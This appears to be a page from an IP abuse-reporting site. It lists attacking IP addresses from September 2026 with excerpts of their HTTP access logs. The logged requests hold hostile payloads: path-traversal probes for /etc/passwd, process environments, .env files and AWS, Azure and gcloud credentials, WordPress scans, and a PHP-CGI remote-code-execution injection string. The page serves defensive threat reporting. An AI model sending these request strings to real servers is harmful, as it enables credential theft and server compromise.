🇺🇸
136.67.67.148
09 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Unauthorized attempt to retr ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Unauthorized attempt to retrieve configuration file (x6)
136.67.67.148 [09/Sep/2026:02:03:26 +0200] "GET / HTTP/1.1"
136.67.67.148 [09/Sep/2026:02:03:26 +0200] "GET / HTTP/1.1"
136.67.67.148 [09/Sep/2026:02:03:30 +0200] "GET /@fs/proc/self/environ?raw?? HTTP/1.1"
136.67.67.148 [09/Sep/2026:02:03:30 +0200] "GET / HTTP/1.1"
136.67.67.148 [09/Sep/2026:02:03:30 +0200] "GET /@fs/etc/passwd?raw?? HTTP/1.1"
136.67.67.148 [09/Sep/2026:02:03:30 +0200] "GET /@fs/.env.local?raw?? HTTP/1.1"
136.67.67.148 [09/Sep/2026:02:03:30 +0200] "GET /@fs/.env.production?raw?? HTTP/1.1"
136.67.67.148 [09/Sep/2026:02:03:31 +0200] "GET /@fs/src/.env?raw?? HTTP/1.1"
136.67.67.148 [09/Sep/2026:02:03:31 +0200] "GET /@fs/..%252f..%252f..%252f..%252f..%252fapp/.env?raw?? HTTP/1.1"
136.67.67.148 [09/Sep/2026:02:03:31 +0200] "GET /@fs/.env?raw?? HTTP/1.1"
136.67.67.148 [09/Sep/2026:02:03:31 +0200] "GET /.env?raw?? HTTP/1.1"
136.67.67.148 [09/Sep/2026:02:03:31 +0200] "GET
show less
Port Scan
Web App Attack
🇺🇸
162.243.52.70
08 Sep 2026
Unauthorized attempt to retrieve configuration file
162.243.52.70 [09/Sep/2026:00:07:55 +0200] "GET ...
show more
Unauthorized attempt to retrieve configuration file
162.243.52.70 [09/Sep/2026:00:07:55 +0200] "GET /.env HTTP/1.1"
show less
Port Scan
Web App Attack
🇫🇷
38.242.243.172
08 Sep 2026
Scanning for installed WordPress and vulnerabilities
38.242.243.172 [08/Sep/2026:23:58:48 +0200] "GE ...
show more
Scanning for installed WordPress and vulnerabilities
38.242.243.172 [08/Sep/2026:23:58:48 +0200] "GET /wp-login.php HTTP/1.1"
show less
Port Scan
Web App Attack
🇺🇸
104.207.40.79
08 Sep 2026
Scanning for installed WordPress and vulnerabilities
104.207.40.79 [08/Sep/2026:23:40:54 +0200] "GET ...
show more
Scanning for installed WordPress and vulnerabilities
104.207.40.79 [08/Sep/2026:23:40:54 +0200] "GET /wp-login.php HTTP/1.1"
show less
Port Scan
Web App Attack
🇺🇸
34.127.30.49
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x15), Unauthorized attempt to ret ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x15), Unauthorized attempt to retrieve configuration file (x4)
34.127.30.49 [08/Sep/2026:21:30:02 +0200] "GET /__aws_leak_probe_bfb4b2b0__ HTTP/1.1"
34.127.30.49 [08/Sep/2026:21:30:08 +0200] "GET /@fs/etc/passwd?raw?? HTTP/1.1"
34.127.30.49 [08/Sep/2026:21:30:09 +0200] "GET /static../etc/passwd HTTP/1.1"
34.127.30.49 [08/Sep/2026:21:30:09 +0200] "GET /static../.azure/credentials HTTP/1.1"
34.127.30.49 [08/Sep/2026:21:30:09 +0200] "GET /files../etc/passwd HTTP/1.1"
34.127.30.49 [08/Sep/2026:21:30:09 +0200] "GET /.env?raw?? HTTP/1.1"
34.127.30.49 [08/Sep/2026:21:30:09 +0200] "GET /media../etc/passwd HTTP/1.1"
34.127.30.49 [08/Sep/2026:21:30:09 +0200] "GET /static../.aws/credentials HTTP/1.1"
34.127.30.49 [08/Sep/2026:21:30:09 +0200] "GET /.azure/credentials HTTP/1.1"
34.127.30.49 [08/Sep/2026:21:30:09 +0200] "GET /@fs/etc/passwd?import&raw?? HTTP/1.1"
34.127.30.49 [08/Sep/2026:21:30:09 +0200] "GET /@fs/root/.config/gcloud/application_default_cr
show less
Port Scan
Web App Attack
🇳🇱
94.154.43.43
08 Sep 2026
Unauthorized attempt to retrieve configuration file
94.154.43.43 [08/Sep/2026:19:30:08 +0200] "GET / ...
show more
Unauthorized attempt to retrieve configuration file
94.154.43.43 [08/Sep/2026:19:30:08 +0200] "GET /.env HTTP/1.1"
show less
Port Scan
Web App Attack
🇺🇸
136.67.183.3
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x16), Unauthorized attempt to ret ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x16), Unauthorized attempt to retrieve configuration file (x12)
136.67.183.3 [08/Sep/2026:16:32:04 +0200] "GET / HTTP/1.1"
136.67.183.3 [08/Sep/2026:16:32:08 +0200] "GET / HTTP/1.1"
136.67.183.3 [08/Sep/2026:16:32:08 +0200] "GET /@fs/root/.env?raw?? HTTP/1.1"
136.67.183.3 [08/Sep/2026:16:32:08 +0200] "GET /@fs/src/.env?raw?? HTTP/1.1"
136.67.183.3 [08/Sep/2026:16:32:08 +0200] "GET /@fs/proc/self/environ?raw?? HTTP/1.1"
136.67.183.3 [08/Sep/2026:16:32:08 +0200] "GET /@fs/.env?raw?? HTTP/1.1"
136.67.183.3 [08/Sep/2026:16:32:08 +0200] "GET /@fs/app/.env?raw?? HTTP/1.1"
136.67.183.3 [08/Sep/2026:16:32:08 +0200] "GET / HTTP/1.1"
136.67.183.3 [08/Sep/2026:16:32:08 +0200] "GET /@fs/etc/passwd?raw?? HTTP/1.1"
136.67.183.3 [08/Sep/2026:16:32:08 +0200] "GET /@fs/../../.env?raw?? HTTP/1.1"
136.67.183.3 [08/Sep/2026:16:32:08 +0200] "GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1"
136.67.183.3 [08/Sep/2026:16:32:09 +0200] "GET /@fs/.
show less
Port Scan
Web App Attack
🇯🇵
34.84.31.234
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x6), Unauthorized attempt to retr ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x6), Unauthorized attempt to retrieve configuration file (x8)
34.84.31.234 [08/Sep/2026:16:06:02 +0200] "GET / HTTP/1.1"
34.84.31.234 [08/Sep/2026:16:06:02 +0200] "GET / HTTP/1.1"
34.84.31.234 [08/Sep/2026:16:06:09 +0200] "GET /@fs/..%252f..%252f..%252f..%252f..%252fapp/.env?raw?? HTTP/1.1"
34.84.31.234 [08/Sep/2026:16:06:09 +0200] "GET /@fs/proc/self/environ?raw?? HTTP/1.1"
34.84.31.234 [08/Sep/2026:16:06:09 +0200] "GET /@fs/.env.local?raw?? HTTP/1.1"
34.84.31.234 [08/Sep/2026:16:06:09 +0200] "GET /@fs/app/.env?raw?? HTTP/1.1"
34.84.31.234 [08/Sep/2026:16:06:09 +0200] "GET /@fs/app/rootkey.csv?raw?? HTTP/1.1"
34.84.31.234 [08/Sep/2026:16:06:09 +0200] "GET /@fs/root/.env?raw?? HTTP/1.1"
34.84.31.234 [08/Sep/2026:16:06:09 +0200] "GET / HTTP/1.1"
34.84.31.234 [08/Sep/2026:16:06:09 +0200] "GET /.env?raw?? HTTP/1.1"
34.84.31.234 [08/Sep/2026:16:06:09 +0200] "GET /@fs/.env.production?raw?? HTTP/1.1"
34.84.31.234 [08/Sep/2026:16:06:09 +0200] "GET /
show less
Port Scan
Web App Attack
🇩🇪
104.207.54.184
08 Sep 2026
Scanning for installed WordPress and vulnerabilities
104.207.54.184 [08/Sep/2026:15:23:57 +0200] "GE ...
show more
Scanning for installed WordPress and vulnerabilities
104.207.54.184 [08/Sep/2026:15:23:57 +0200] "GET /wp-login.php HTTP/1.1"
show less
Port Scan
Web App Attack
🇮🇳
171.61.165.69
08 Sep 2026
Unauthorized connection attempt / Port scanning
171.61.165.69 [08/Sep/2026:14:50:51 +0200] "POST /xm ...
show more
Unauthorized connection attempt / Port scanning
171.61.165.69 [08/Sep/2026:14:50:51 +0200] "POST /xmlrpc.php HTTP/1.1"
show less
Port Scan
Web App Attack
🇧🇪
130.211.84.202
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x20), Unauthorized attempt to ret ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x20), Unauthorized attempt to retrieve configuration file (x11)
130.211.84.202 [08/Sep/2026:14:32:13 +0200] "GET / HTTP/1.1"
130.211.84.202 [08/Sep/2026:14:32:13 +0200] "GET / HTTP/1.1"
130.211.84.202 [08/Sep/2026:14:32:21 +0200] "GET / HTTP/1.1"
130.211.84.202 [08/Sep/2026:14:32:21 +0200] "GET / HTTP/1.1"
130.211.84.202 [08/Sep/2026:14:32:21 +0200] "GET /@fs/root/.env?raw?? HTTP/1.1"
130.211.84.202 [08/Sep/2026:14:32:21 +0200] "GET /@fs/.env?raw?? HTTP/1.1"
130.211.84.202 [08/Sep/2026:14:32:21 +0200] "GET /@fs/app/.env?raw?? HTTP/1.1"
130.211.84.202 [08/Sep/2026:14:32:21 +0200] "GET /@fs/proc/self/environ?raw?? HTTP/1.1"
130.211.84.202 [08/Sep/2026:14:32:21 +0200] "GET /@fs/src/.env?raw?? HTTP/1.1"
130.211.84.202 [08/Sep/2026:14:32:21 +0200] "GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1"
130.211.84.202 [08/Sep/2026:14:32:21 +0200] "GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1"
130.211.8
show less
Port Scan
Web App Attack
🇺🇸
34.125.16.231
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Unauthorized attempt to retr ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Unauthorized attempt to retrieve configuration file (x5)
34.125.16.231 [08/Sep/2026:13:01:41 +0200] "GET / HTTP/1.1"
34.125.16.231 [08/Sep/2026:13:01:41 +0200] "GET / HTTP/1.1"
34.125.16.231 [08/Sep/2026:13:01:50 +0200] "GET /@fs/etc/passwd?raw?? HTTP/1.1"
34.125.16.231 [08/Sep/2026:13:01:50 +0200] "GET /@fs/.env.production?raw?? HTTP/1.1"
34.125.16.231 [08/Sep/2026:13:01:50 +0200] "GET /@fs/app/.env?raw?? HTTP/1.1"
34.125.16.231 [08/Sep/2026:13:01:50 +0200] "GET /@fs/..%252f..%252f..%252f..%252f..%252fapp/.env?raw?? HTTP/1.1"
34.125.16.231 [08/Sep/2026:13:01:50 +0200] "GET /@fs/root/rootkey.csv?raw?? HTTP/1.1"
34.125.16.231 [08/Sep/2026:13:01:50 +0200] "GET /.env?raw?? HTTP/1.1"
34.125.16.231 [08/Sep/2026:13:01:50 +0200] "GET /@fs/.env.staging?raw?? HTTP/1.1"
34.125.16.231 [08/Sep/2026:13:01:50 +0200] "GET / HTTP/1.1"
show less
Port Scan
Web App Attack
🇳🇱
45.148.10.62
08 Sep 2026
Multi abuses [3]: Unauthorized connection attempt / Port scanning (x18), Unauthorized attempt to ret ...
show more
Multi abuses [3]: Unauthorized connection attempt / Port scanning (x18), Unauthorized attempt to retrieve configuration file (x16), Scanning for installed WordPress and vulnerabilities (x3)
45.148.10.62 [25/Jul/2026:05:13:23 +0200] "GET / HTTP/1.1"
45.148.10.62 [23/Aug/2026:00:19:20 +0200] "GET / HTTP/1.1"
45.148.10.62 [27/Jul/2026:10:11:18 +0200] "GET / HTTP/1.1"
45.148.10.62 [27/Jul/2026:10:11:18 +0200] "GET /.env HTTP/1.1"
45.148.10.62 [27/Jul/2026:10:11:18 +0200] "GET /.env HTTP/1.1"
45.148.10.62 [27/Jul/2026:10:11:18 +0200] "GET /?phpinfo=1 HTTP/1.1"
45.148.10.62 [27/Jul/2026:10:11:18 +0200] "GET /.aws/credentials HTTP/1.1"
45.148.10.62 [27/Jul/2026:10:11:19 +0200] "GET /api/.env HTTP/1.1"
45.148.10.62 [27/Jul/2026:10:11:19 +0200] "GET /.env.bak HTTP/1.1"
45.148.10.62 [27/Jul/2026:10:11:19 +0200] "GET /aws-ses.json HTTP/1.1"
45.148.10.62 [27/Jul/2026:10:11:19 +0200] "GET /.stripe/ HTTP/1.1"
45.148.10.62 [27/Jul/2026:10:11:19 +0200] "GET /stripe/.env HTTP/1.1"
45.148.10.62 [27/Jul/2026:10:11:19 +0200] "G
show less
Port Scan
Web App Attack
🇦🇺
34.40.195.141
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Unauthorized attempt to retr ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Unauthorized attempt to retrieve configuration file (x2)
34.40.195.141 [08/Sep/2026:11:39:37 +0200] "GET / HTTP/1.1"
34.40.195.141 [08/Sep/2026:11:39:37 +0200] "POST / HTTP/1.1"
34.40.195.141 [08/Sep/2026:11:39:38 +0200] "POST / HTTP/1.1"
34.40.195.141 [08/Sep/2026:11:39:38 +0200] "POST / HTTP/1.1"
34.40.195.141 [08/Sep/2026:11:39:39 +0200] "GET /.git/config HTTP/1.1"
34.40.195.141 [08/Sep/2026:11:39:39 +0200] "POST / HTTP/1.1"
34.40.195.141 [08/Sep/2026:11:39:39 +0200] "GET /.env HTTP/1.1"
34.40.195.141 [08/Sep/2026:11:39:40 +0200] "GET /.env.local HTTP/1.1"
show less
Port Scan
Web App Attack
🇵🇱
54.38.50.21
08 Sep 2026
Unauthorized connection attempt / Port scanning (x13)
54.38.50.21 [26/Jul/2026:12:11:48 +0200] "GET ...
show more
Unauthorized connection attempt / Port scanning (x13)
54.38.50.21 [26/Jul/2026:12:11:48 +0200] "GET /?x912=f4v2 HTTP/1.1"
54.38.50.21 [01/Aug/2026:13:43:13 +0200] "GET /?x622=YDj2 HTTP/1.1"
54.38.50.21 [05/Aug/2026:07:27:25 +0200] "GET /?x772=WcK2 HTTP/1.1"
54.38.50.21 [11/Aug/2026:18:29:35 +0200] "GET /?x972=C4M2 HTTP/1.1"
54.38.50.21 [17/Aug/2026:07:45:24 +0200] "GET /?x862=NzV2 HTTP/1.1"
54.38.50.21 [18/Aug/2026:13:50:24 +0200] "GET / HTTP/1.1"
54.38.50.21 [18/Aug/2026:13:50:24 +0200] "GET //7171052b-9afa-11f1-aa62-b51041f83b11 HTTP/1.1"
54.38.50.21 [18/Aug/2026:13:50:24 +0200] "GET //wp-cron.php HTTP/1.1"
54.38.50.21 [18/Aug/2026:13:50:24 +0200] "GET //wp-includes/js/wp-emoji-release.min.js HTTP/1.1"
54.38.50.21 [18/Aug/2026:13:50:24 +0200] "GET //index.php HTTP/1.1"
54.38.50.21 [24/Aug/2026:12:52:50 +0200] "GET / HTTP/1.1"
54.38.50.21 [24/Aug/2026:12:52:50 +0200] "GET //50ccfb6f-9fa9-11f1-aa62-b51041f83b11 HTTP/1.1"
54.38.50.21 [24/Aug/2026:12:52:51 +0200] "GET //wp-cron.php HTTP/1.1"
54.38.50.21 [24/Au
show less
Port Scan
Web App Attack
🇳🇱
35.204.152.197
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x13), Scanning for installed Word ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x13), Scanning for installed WordPress and vulnerabilities
35.204.152.197 [08/Sep/2026:10:35:26 +0200] "GET /wp-includes/id3/license.txt/feed/ HTTP/1.1"
35.204.152.197 [08/Sep/2026:10:35:26 +0200] "GET /wp-includes/id3/license.txt/xmlrpc.php?rsd HTTP/1.1"
35.204.152.197 [08/Sep/2026:10:35:26 +0200] "GET /wp-includes/id3/license.txt/blog/wp-includes/wlwmanifest.xml HTTP/1.1"
35.204.152.197 [08/Sep/2026:10:35:26 +0200] "GET /wp-includes/id3/license.txt/web/wp-includes/wlwmanifest.xml HTTP/1.1"
35.204.152.197 [08/Sep/2026:10:35:26 +0200] "GET /wp-includes/id3/license.txt/wordpress/wp-includes/wlwmanifest.xml HTTP/1.1"
35.204.152.197 [08/Sep/2026:10:35:26 +0200] "GET /wp-includes/id3/license.txt/wp/wp-includes/wlwmanifest.xml HTTP/1.1"
35.204.152.197 [08/Sep/2026:10:35:26 +0200] "GET /wp-includes/id3/license.txt/2020/wp-includes/wlwmanifest.xml HTTP/1.1"
35.204.152.197 [08/Sep/2026:10:35:26 +0200] "GET /wp-includes/id3/license.txt/2019/wp-include
show less
Port Scan
Web App Attack
🇩🇪
185.104.184.230
08 Sep 2026
Unauthorized connection attempt / Port scanning (x3)
185.104.184.230 [08/Sep/2026:08:29:17 +0200] "G ...
show more
Unauthorized connection attempt / Port scanning (x3)
185.104.184.230 [08/Sep/2026:08:29:17 +0200] "GET / HTTP/1.1"
185.104.184.230 [08/Sep/2026:08:29:17 +0200] "GET //wp-includes/wlwmanifest.xml HTTP/1.1"
185.104.184.230 [08/Sep/2026:08:29:17 +0200] "GET //xmlrpc.php?rsd HTTP/1.1"
185.104.184.230 [08/Sep/2026:08:29:17 +0200] "GET / HTTP/1.1"
show less
Port Scan
Web App Attack
🇺🇸
34.138.162.190
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x10), Unauthorized attempt to ret ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x10), Unauthorized attempt to retrieve configuration file (x11)
34.138.162.190 [08/Sep/2026:07:51:18 +0200] "GET / HTTP/1.1"
34.138.162.190 [08/Sep/2026:07:51:18 +0200] "GET / HTTP/1.1"
34.138.162.190 [08/Sep/2026:07:51:25 +0200] "GET / HTTP/1.1"
34.138.162.190 [08/Sep/2026:07:51:25 +0200] "GET / HTTP/1.1"
34.138.162.190 [08/Sep/2026:07:51:25 +0200] "GET /@fs/.env?raw?? HTTP/1.1"
34.138.162.190 [08/Sep/2026:07:51:25 +0200] "GET /@fs/src/.env?raw?? HTTP/1.1"
34.138.162.190 [08/Sep/2026:07:51:25 +0200] "GET /@fs/app/rootkey.csv?raw?? HTTP/1.1"
34.138.162.190 [08/Sep/2026:07:51:25 +0200] "GET /@fs/proc/self/environ?raw?? HTTP/1.1"
34.138.162.190 [08/Sep/2026:07:51:25 +0200] "GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1"
34.138.162.190 [08/Sep/2026:07:51:25 +0200] "GET /@fs/root/.env?raw?? HTTP/1.1"
34.138.162.190 [08/Sep/2026:07:51:25 +0200] "GET /@fs/app/.env?raw?? HTTP/1.1"
34.138.162.190 [08/Sep/2026:07:51:25 +0200] "G
show less
Port Scan
Web App Attack
🇬🇧
87.192.99.246
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Scanning for installed WordP ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Scanning for installed WordPress and vulnerabilities (x2)
87.192.99.246 [08/Sep/2026:06:51:55 +0200] "GET /wp/wp-login.php HTTP/1.1"
87.192.99.246 [08/Sep/2026:06:51:55 +0200] "GET /wp-admin.php HTTP/1.1"
87.192.99.246 [08/Sep/2026:06:51:55 +0200] "GET /wp-login.php HTTP/1.1"
87.192.99.246 [08/Sep/2026:06:51:55 +0200] "GET /wordpress/wp-login.php HTTP/1.1"
87.192.99.246 [08/Sep/2026:06:51:55 +0200] "GET /admin/wp-login.php HTTP/1.1"
87.192.99.246 [08/Sep/2026:06:51:56 +0200] "GET /wp/wp-login.php HTTP/1.1"
87.192.99.246 [08/Sep/2026:06:51:56 +0200] "GET /wp-admin.php HTTP/1.1"
87.192.99.246 [08/Sep/2026:06:51:56 +0200] "GET /wp-login.php HTTP/1.1"
87.192.99.246 [08/Sep/2026:06:51:56 +0200] "GET /wordpress/wp-login.php HTTP/1.1"
87.192.99.246 [08/Sep/2026:06:51:56 +0200] "GET /admin/wp-login.php HTTP/1.1"
show less
Port Scan
Web App Attack
🇺🇸
35.252.228.191
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Scanning for installed WordP ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Scanning for installed WordPress and vulnerabilities
35.252.228.191 [08/Sep/2026:06:40:43 +0200] "GET /wp-includes/id3/license.txt/feed/ HTTP/1.1"
35.252.228.191 [08/Sep/2026:06:40:44 +0200] "GET /wp-includes/id3/license.txt/xmlrpc.php?rsd HTTP/1.1"
35.252.228.191 [08/Sep/2026:06:40:44 +0200] "GET /wp-includes/id3/license.txt/blog/wp-includes/wlwmanifest.xml HTTP/1.1"
35.252.228.191 [08/Sep/2026:06:40:44 +0200] "GET /wp-includes/id3/license.txt/web/wp-includes/wlwmanifest.xml HTTP/1.1"
show less
Port Scan
Web App Attack
🇸🇬
152.42.231.238
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Scanning for installed WordP ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Scanning for installed WordPress and vulnerabilities
152.42.231.238 [08/Sep/2026:05:43:17 +0200] "GET /wp-includes/id3/license.txt/feed/ HTTP/1.1"
152.42.231.238 [08/Sep/2026:05:43:17 +0200] "GET /wp-includes/id3/license.txt/xmlrpc.php?rsd HTTP/1.1"
152.42.231.238 [08/Sep/2026:05:43:17 +0200] "GET /wp-includes/id3/license.txt/blog/wp-includes/wlwmanifest.xml HTTP/1.1"
152.42.231.238 [08/Sep/2026:05:43:17 +0200] "GET /wp-includes/id3/license.txt/web/wp-includes/wlwmanifest.xml HTTP/1.1"
show less
Port Scan
Web App Attack
🇺🇸
24.199.123.86
08 Sep 2026
Scanning for installed WordPress and vulnerabilities
24.199.123.86 [08/Sep/2026:05:42:41 +0200] "GET ...
show more
Scanning for installed WordPress and vulnerabilities
24.199.123.86 [08/Sep/2026:05:42:41 +0200] "GET /wp-login.php HTTP/1.1"
show less
Port Scan
Web App Attack
🇳🇱
185.213.174.141
08 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Unauthorized attempt to remo ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Unauthorized attempt to remote code execution (CGI)
185.213.174.141 [24/Aug/2026:01:05:51 +0200] "GET / HTTP/1.1"
185.213.174.141 [24/Aug/2026:01:06:40 +0200] "GET /style.css HTTP/1.1"
185.213.174.141 [24/Aug/2026:01:06:40 +0200] "GET /logo.svg HTTP/1.1"
185.213.174.141 [08/Sep/2026:02:38:12 +0200] "GET /cgi-bin/luci/ HTTP/1.1"
show less
Port Scan
Web App Attack
🇯🇵
34.146.235.229
07 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x12), Unauthorized attempt to ret ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x12), Unauthorized attempt to retrieve configuration file (x11)
34.146.235.229 [08/Sep/2026:00:45:18 +0200] "GET / HTTP/1.1"
34.146.235.229 [08/Sep/2026:00:45:18 +0200] "GET / HTTP/1.1"
34.146.235.229 [08/Sep/2026:00:45:29 +0200] "GET / HTTP/1.1"
34.146.235.229 [08/Sep/2026:00:45:29 +0200] "GET /@fs/.env?raw?? HTTP/1.1"
34.146.235.229 [08/Sep/2026:00:45:29 +0200] "GET /@fs/..%252f..%252f..%252f..%252f..%252fapp/.env?raw?? HTTP/1.1"
34.146.235.229 [08/Sep/2026:00:45:29 +0200] "GET /@fs/root/.env?raw?? HTTP/1.1"
34.146.235.229 [08/Sep/2026:00:45:29 +0200] "GET / HTTP/1.1"
34.146.235.229 [08/Sep/2026:00:45:29 +0200] "GET /@fs/proc/self/environ?raw?? HTTP/1.1"
34.146.235.229 [08/Sep/2026:00:45:29 +0200] "GET /@fs/src/.env?raw?? HTTP/1.1"
34.146.235.229 [08/Sep/2026:00:45:29 +0200] "GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1"
34.146.235.229 [08/Sep/2026:00:45:30 +0200] "GET /@fs/etc/passwd?raw?? HTTP/1.1"
34.146.235.229 [
show less
Port Scan
Web App Attack
🇺🇸
44.244.133.207
07 Sep 2026
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Unauthorized attempt to remo ...
show more
Multi abuses [2]: Unauthorized connection attempt / Port scanning (x3), Unauthorized attempt to remote code execution (CGI) (x2)
44.244.133.207 [08/Sep/2026:00:23:12 +0200] "GET / HTTP/1.1"
44.244.133.207 [08/Sep/2026:00:23:12 +0200] "GET / HTTP/1.1"
44.244.133.207 [08/Sep/2026:00:23:42 +0200] "GET /actuator/heapdump HTTP/1.1"
44.244.133.207 [08/Sep/2026:00:23:43 +0200] "GET / HTTP/1.1"
44.244.133.207 [08/Sep/2026:00:23:44 +0200] "GET / HTTP/1.1"
44.244.133.207 [08/Sep/2026:00:23:45 +0200] "GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1"
44.244.133.207 [08/Sep/2026:00:23:46 +0200] "GET /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1"
44.244.133.207 [08/Sep/2026:00:23:46 +0200] "GET /cgi-bin/php?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1"
show less
Port Scan
Web App Attack